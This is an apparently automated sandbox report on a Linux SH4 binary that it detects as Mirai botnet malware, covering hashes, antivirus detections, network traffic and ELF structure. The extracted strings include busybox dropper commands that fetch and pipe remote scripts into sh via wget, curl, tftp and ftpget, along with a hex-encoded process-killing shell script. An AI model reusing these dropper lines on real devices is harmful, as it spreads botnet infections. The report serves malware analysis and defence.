Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:sh4.elf
Analysis ID:1581331
MD5:92447e057eb2f1f0bd90fedcee00206a
SHA1:398cb0b0acd5f95d6a961adbf9c75a3a8af26e17
SHA256:c34e1ab4eb2920835607e62307be32b42d9de09aa0b04ce7199e378801fede24
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1581331
Start date and time:2024-12-27 11:57:05 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 29s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:sh4.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@0/0
Command:/tmp/sh4.elf
PID:6233
Exit Code:1
Exit Code Info:
Killed:False
Standard Output:

Standard Error:
  • system is lnxubuntu20
  • sh4.elf (PID: 6233, Parent: 6158, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
sh4.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6233.1.00007f523c400000.00007f523c410000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: sh4.elfReversingLabs: Detection: 34%
      Source: sh4.elfString: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Kamru/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
      Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
      Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
      Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: sh4.elfString found in binary or memory: http:///curl.sh
      Source: sh4.elfString found in binary or memory: http:///wget.sh
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname Kamru
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./Galaxy selfrep
      Source: Initial sampleString containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Kamru/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
      Source: Initial sampleString containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./Galaxy selfrepI just wanna look/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspc
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@0/0
      Source: /tmp/sh4.elf (PID: 6233)Queries kernel information via 'uname': Jump to behavior
      Source: sh4.elf, 6233.1.00007ffc1ee09000.00007ffc1ee2a000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sh4
      Source: sh4.elf, 6233.1.000055828df96000.000055828dff9000.rw-.sdmpBinary or memory string: U5!/etc/qemu-binfmt/sh4
      Source: sh4.elf, 6233.1.000055828df96000.000055828dff9000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sh4
      Source: sh4.elf, 6233.1.00007ffc1ee09000.00007ffc1ee2a000.rw-.sdmpBinary or memory string: hzx86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: sh4.elf, type: SAMPLE
      Source: Yara matchFile source: 6233.1.00007f523c400000.00007f523c410000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: sh4.elf, type: SAMPLE
      Source: Yara matchFile source: 6233.1.00007f523c400000.00007f523c410000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      SourceDetectionScannerLabelLink
      sh4.elf34%ReversingLabsLinux.Backdoor.Gafgyt
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http:///wget.shsh4.elffalse
        high
        http:///curl.shsh4.elffalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          109.202.202.202
          unknownSwitzerland
          13030INIT7CHfalse
          91.189.91.43
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          91.189.91.42
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
          • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
          91.189.91.43Space.spc.elfGet hashmaliciousMiraiBrowse
            Space.arm5.elfGet hashmaliciousUnknownBrowse
              Space.mpsl.elfGet hashmaliciousUnknownBrowse
                Space.m68k.elfGet hashmaliciousMiraiBrowse
                  Space.mips.elfGet hashmaliciousUnknownBrowse
                    sh4.nn.elfGet hashmaliciousOkiruBrowse
                      mipsel.nn.elfGet hashmaliciousOkiruBrowse
                        powerpc.nn.elfGet hashmaliciousOkiruBrowse
                          db0fa4b8db0333367e9bda3ab68b8042.mpsl.elfGet hashmaliciousUnknownBrowse
                            RpcSecurity.arm5.elfGet hashmaliciousUnknownBrowse
                              91.189.91.42Space.spc.elfGet hashmaliciousMiraiBrowse
                                Space.arm5.elfGet hashmaliciousUnknownBrowse
                                  Space.mpsl.elfGet hashmaliciousUnknownBrowse
                                    Space.m68k.elfGet hashmaliciousMiraiBrowse
                                      Space.mips.elfGet hashmaliciousUnknownBrowse
                                        sh4.nn.elfGet hashmaliciousOkiruBrowse
                                          mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                            powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                              db0fa4b8db0333367e9bda3ab68b8042.mpsl.elfGet hashmaliciousUnknownBrowse
                                                RpcSecurity.arm5.elfGet hashmaliciousUnknownBrowse
                                                  No context
                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  CANONICAL-ASGBSpace.spc.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  Space.arm5.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  Space.mpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  Space.m68k.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  Space.mips.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  arm6.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 185.125.190.26
                                                  sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 91.189.91.42
                                                  mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 91.189.91.42
                                                  powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 91.189.91.42
                                                  db0fa4b8db0333367e9bda3ab68b8042.mpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  CANONICAL-ASGBSpace.spc.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  Space.arm5.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  Space.mpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  Space.m68k.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  Space.mips.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  arm6.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 185.125.190.26
                                                  sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 91.189.91.42
                                                  mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 91.189.91.42
                                                  powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 91.189.91.42
                                                  db0fa4b8db0333367e9bda3ab68b8042.mpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  INIT7CHSpace.spc.elfGet hashmaliciousMiraiBrowse
                                                  • 109.202.202.202
                                                  Space.arm5.elfGet hashmaliciousUnknownBrowse
                                                  • 109.202.202.202
                                                  Space.mpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 109.202.202.202
                                                  Space.m68k.elfGet hashmaliciousMiraiBrowse
                                                  • 109.202.202.202
                                                  Space.mips.elfGet hashmaliciousUnknownBrowse
                                                  • 109.202.202.202
                                                  sh4.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 109.202.202.202
                                                  mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 109.202.202.202
                                                  powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                                  • 109.202.202.202
                                                  db0fa4b8db0333367e9bda3ab68b8042.mpsl.elfGet hashmaliciousUnknownBrowse
                                                  • 109.202.202.202
                                                  RpcSecurity.arm5.elfGet hashmaliciousUnknownBrowse
                                                  • 109.202.202.202
                                                  No context
                                                  No context
                                                  No created / dropped files found
                                                  File type:ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
                                                  Entropy (8bit):6.868693837649893
                                                  TrID:
                                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                  File name:sh4.elf
                                                  File size:63'100 bytes
                                                  MD5:92447e057eb2f1f0bd90fedcee00206a
                                                  SHA1:398cb0b0acd5f95d6a961adbf9c75a3a8af26e17
                                                  SHA256:c34e1ab4eb2920835607e62307be32b42d9de09aa0b04ce7199e378801fede24
                                                  SHA512:9313fd8d62f04f39641f27aedc659a51252921bbe621e27b9db148cd5ac4742b03076b14cd40ec240755db136589d88278534afcdd38c9435da6a5c6703d8915
                                                  SSDEEP:1536:QQVk7vkorUh7cVMOKHg457eEn8LCxhEAni8VRp:d6Lk4VMhH7fn8LpAnic
                                                  TLSH:6B539D66C9B6AE18C19C49F078648AB94B13E640C2A21FFB2D59C1AE4043EDDF51F3F4
                                                  File Content Preview:.ELF..............*.......@.4...........4. ...(...............@...@..................... ... .A. .A......%..........Q.td............................././"O.n........#.*@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

                                                  ELF header

                                                  Class:ELF32
                                                  Data:2's complement, little endian
                                                  Version:1 (current)
                                                  Machine:<unknown>
                                                  Version Number:0x1
                                                  Type:EXEC (Executable file)
                                                  OS/ABI:UNIX - System V
                                                  ABI Version:0
                                                  Entry Point Address:0x4001a0
                                                  Flags:0x9
                                                  ELF Header Size:52
                                                  Program Header Offset:52
                                                  Program Header Size:32
                                                  Number of Program Headers:3
                                                  Section Header Offset:62700
                                                  Section Header Size:40
                                                  Number of Section Headers:10
                                                  Header String Table Index:9
                                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                  NULL0x00x00x00x00x0000
                                                  .initPROGBITS0x4000940x940x300x00x6AX004
                                                  .textPROGBITS0x4000e00xe00xd3c00x00x6AX0032
                                                  .finiPROGBITS0x40d4a00xd4a00x240x00x6AX004
                                                  .rodataPROGBITS0x40d4c40xd4c40x1c580x00x2A004
                                                  .ctorsPROGBITS0x41f1200xf1200x80x00x3WA004
                                                  .dtorsPROGBITS0x41f1280xf1280x80x00x3WA004
                                                  .dataPROGBITS0x41f1340xf1340x3780x00x3WA004
                                                  .bssNOBITS0x41f4ac0xf4ac0x21800x00x3WA004
                                                  .shstrtabSTRTAB0x00xf4ac0x3e0x00x0001
                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                  LOAD0x00x4000000x4000000xf11c0xf11c6.91840x5R E0x10000.init .text .fini .rodata
                                                  LOAD0xf1200x41f1200x41f1200x38c0x250c2.93320x6RW 0x10000.ctors .dtors .data .bss
                                                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 27, 2024 11:57:50.796998024 CET43928443192.168.2.2391.189.91.42
                                                  Dec 27, 2024 11:57:56.172236919 CET42836443192.168.2.2391.189.91.43
                                                  Dec 27, 2024 11:57:57.708029985 CET4251680192.168.2.23109.202.202.202
                                                  Dec 27, 2024 11:58:12.297915936 CET43928443192.168.2.2391.189.91.42
                                                  Dec 27, 2024 11:58:22.536360979 CET42836443192.168.2.2391.189.91.43
                                                  Dec 27, 2024 11:58:28.679541111 CET4251680192.168.2.23109.202.202.202
                                                  Dec 27, 2024 11:58:53.252011061 CET43928443192.168.2.2391.189.91.42

                                                  System Behavior

                                                  Start time (UTC):10:57:48
                                                  Start date (UTC):27/12/2024
                                                  Path:/tmp/sh4.elf
                                                  Arguments:/tmp/sh4.elf
                                                  File size:4139976 bytes
                                                  MD5 hash:8943e5f8f8c280467b4472c15ae93ba9